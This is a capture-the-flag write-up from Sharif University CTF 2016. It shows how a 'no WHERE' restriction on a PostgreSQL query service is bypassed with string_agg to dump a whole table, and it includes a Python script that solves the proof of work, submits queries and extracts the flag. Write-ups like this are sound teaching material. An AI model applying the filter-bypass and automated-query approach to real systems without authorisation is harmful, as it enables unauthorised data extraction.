sql

[Sharif University CTF, 2016]

category: pwn

by f0rki

Category: pwn
Points: 150
Description:

Our website http://ctf.sharif.edu:36455/chal/sql/ executes your PostgreSQL queries. And flags are nicely formatted.

Write-up

We were presented with a simple form for a SQL query string and were given a proof of work challenge. Apparently we can execute arbitrary SQL queries if we can compute the proof of work. As it turns out there wasn't more to do than this. I really don't know why this was categorized as pwn, because it really is a web challenge.

Step 1 was to copy-paste proof of work code from a past CTF. We can then submit arbitrary queries and are only restricted by the permissions of the database user. The organizers were so nice and told us it is PostgreSQL. So first some recon queries:

sql> select version()
PostgreSQL 9.4.5 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.9.2-10ubuntu13) 4.9.2, 64-bit

sql> SELECT current_database()
sql_limit_ctf_question

sql> select * from information_schema.tables
sql_limit_ctf_question | pg_catalog | pg_type  | BASE TABLE |||| YES | NO |
sql_limit_ctf_question | public     | messages | BASE TABLE |||| YES | NO |
sql_limit_ctf_question | public     | mydata   | BASE TABLE |||| YES | NO |

sql> select count(*) from mydata
0

sql> select count(*) from messages
100000

sql> select count( distinct msg) from messages
96519

sql> select * from messages

We only receive the first 3 rows from the output. And messages seems to be filled with some random garbage. The description mentioned that the flag is nicely formatted. So maybe one of the messages contains the flag.

sql> select * from messages where msg like 'Sharif%'
Search is not allowed.

So apparently our current database user isn't allowed to put where into queries. That makes it kind of hard to retrieve the messages. We could fetch all the rows, three at a time with

select * from messages limit 3 offset X

But this would take ages, because we have to compute the proof of work. So there has to be another way. After a little bit of googling I found the interesting function: string_agag. This function allows us to concatenate all fields from a query into a single string. With the following query we can fetch all messages, separated by a , .

select string_agg(msg, ', ') from messages

Now it was just a matter of search for the flag and it turns out we got lucky :) We used the following python script to compute the proof of work, send queries and fetch the flag:

import requests
import re
import os
import hashlib
import sys
from pwn import log
URL = "http://ctf.sharif.edu:36455/chal/sql/"
NONCERE = re.compile("Nonce: ([a-zA-Z0-9]+) ")
FLAGRE = re.compile("[sS]harif[cC][tT][fF]{.+}")
def proof_of_work(chal, rlen=30, forbidden_chars="", hashfunc=hashlib.sha1):
    i = 0
    maxiter = 2 ** 28
    while i < maxiter:
        i += 1
        s = os.urandom(rlen)
        for c in forbidden_chars:
            s = s.replace(c, "")
        h = hashfunc()
        h.update(s)
        h.update(chal)
        digest = h.hexdigest()
        if digest.startswith("00000"):
            log.info("found proof of work after {} iterations"
                     .format(i))
            return s
    log.critical("couldn't find matching proof of work after {} iterations"
                 .format(i))
    return None
def run_query(query):
    log.info("Running query:\n{}".format(repr(query)))
    s = requests.session()
    resp = s.get(URL)
    m = NONCERE.search(resp.text)
    if not m:
        print("Received:")
        print(resp.text)
        raise Exception("No nonce found in response!")
    nonce = m.groups()[0]
    log.info("got nonce '{}', computing proof of work".format(nonce))
    pofw = proof_of_work(nonce)
    if not pofw:
        return None
    log.info
    resp = s.post(URL, data={"pow": pofw, "sql": query})
    return resp.text
if __name__ == "__main__":
    #r = run_query("SELECT version()")
    #log.info("received:\n" + str(r))
    if len(sys.argv) > 1:
        for i, q in enumerate(sys.argv[1:]):
            r = run_query(q)
            log.info("received:\n" + str(r))
            if r:
                fname = "output{}.html".format(i)
                log.info("Writing response to " + fname)
                with open(fname, "w") as f:
                    f.write(str(r))
    log.info("Now fetching flag:")
    res = run_query("select string_agg(msg, ', ') from messages")
    for flagcandidate in FLAGRE.findall(res):
        log.info(flagcandidate)

Running the script:

[*] Now fetching flag:
[*] Running query:
    "select string_agg(msg, ', ') from messages"
[*] got nonce 'c41bcb2185', computing proof of work
[*] found proof of work after 354166 iterations
[*] SharifCTF{f1c16ea7b34877811e4662101b6a0d30}

## ##

######## ########

############ ############

########### ###########

######### #########

"@_ ##### ##### _@"

####### #######

############ ############

############ ############

############ ############

###### "# #" ######

##### #####

##### #####

#### ####

'#### ####'

sql

Write-up